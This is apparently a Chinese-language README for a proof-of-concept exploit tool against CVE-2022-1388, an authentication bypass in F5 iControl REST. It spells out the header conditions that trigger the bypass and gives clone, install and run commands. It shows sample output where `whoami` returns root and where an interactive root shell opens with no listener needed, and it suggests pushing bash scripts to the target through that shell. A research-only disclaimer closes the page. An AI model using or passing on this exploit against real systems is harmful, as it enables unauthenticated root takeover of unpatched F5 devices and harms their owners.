针对影响多个F5产品的CVE-2022-1388改进版PoC。
这是Horizon3针对CVE-2022-1388的PoC的改进版本:https://github.com/horizon3ai/CVE-2022-1388
同时,这也是一次完全的重构,基于 PsychoSec 的工作:https://github.com/PsychoSec2/CVE-2022-1388-POC
哈,这家伙在Requirements部分提到了诸如brains这样的要点,并且代码有超过40%的重复且完全不可扩展。
会话块也被删除了,因为我认为在这里它意义不大。
此版本包含多项改进以及一个用于运行远程命令的交互式 shell。
Horizon3 对该漏洞的技术根因分析可在其博客中找到:https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/
利用此漏洞的请求必要条件:
Connection 头部必须包含 X-F5-Auth-Token
X-F5-Auth-Token 头部必须存在
Host 头部必须是 localhost / 127.0.0.1,或者 Connection 头部必须包含 X-Forwarded-Host
Auth 头部必须设置为 admin 用户名和任意密码
git
pip3
python3
git clone https://github.com/iveresk/cve-2022-1388-iveresk-command-shell.git
cd cve-2022-1388-iveresk-command-shell
pip3 install -r requirements.txt
python3 cve-2022-1388-1veresk.py -h
测试目标:
python3 cve-2022-1388-1veresk.py -u -t https://192.168.0.221
正在对目标进行测试:https://192.168.0.221 | 命令:whoami
响应:root
目标存在漏洞!!
使用 -s 选项运行交互式 shell。 交互式 Shell:
python3 cve-2022-1388-1veresk.py -u -s https://192.168.0.221
正在运行交互式 shell..
root@f5-localhost: /var/service/restjavad$
不需要使用任何反向 TCP 连接或监听器。
使用 'exit' 命令退出 shell...
请注意,在未修补的系统上运行交互式 shell 时,某些命令和语法可能无法正常工作或无法提供预期结果。这可能是由于服务器 API 请求和响应中使用了 JSON。为避免任何问题,请尽量在使用交互式 shell 时不要使用 JSON 语法中常见的字符,例如双引号、冒号、逗号、花括号和方括号。任何 JSON 语法都应以结构化格式呈现。
在命令中使用任何非结构化的 JSON 语法都可能导致对服务器的 API 请求格式错误,并可能导致:无命令输出、命令未执行,或直接将你踢出 Python 脚本。这确实会使某些命令无法使用。要解决此问题,你可以改为编写一个 bash 脚本,将其下载到服务器上,然后通过交互式 shell 执行。另外,无法使用 'cd' 命令更改目录。
无论如何,你仍然应该能够获得基本的命令输出。如果你没有获得命令输出,这并不意味该命令未执行。但你将需要通过自己的分析来弄清楚这一点。
更新到最新版本,或按照 F5 安全公告中的说明进行缓解:
本软件仅为学术研究和开发有效防御技术而创建,除非明确授权,否则不得用于攻击系统。项目维护者不对软件的滥用负责。请负责任地使用。
你可以通过 Keybase 随时联系我。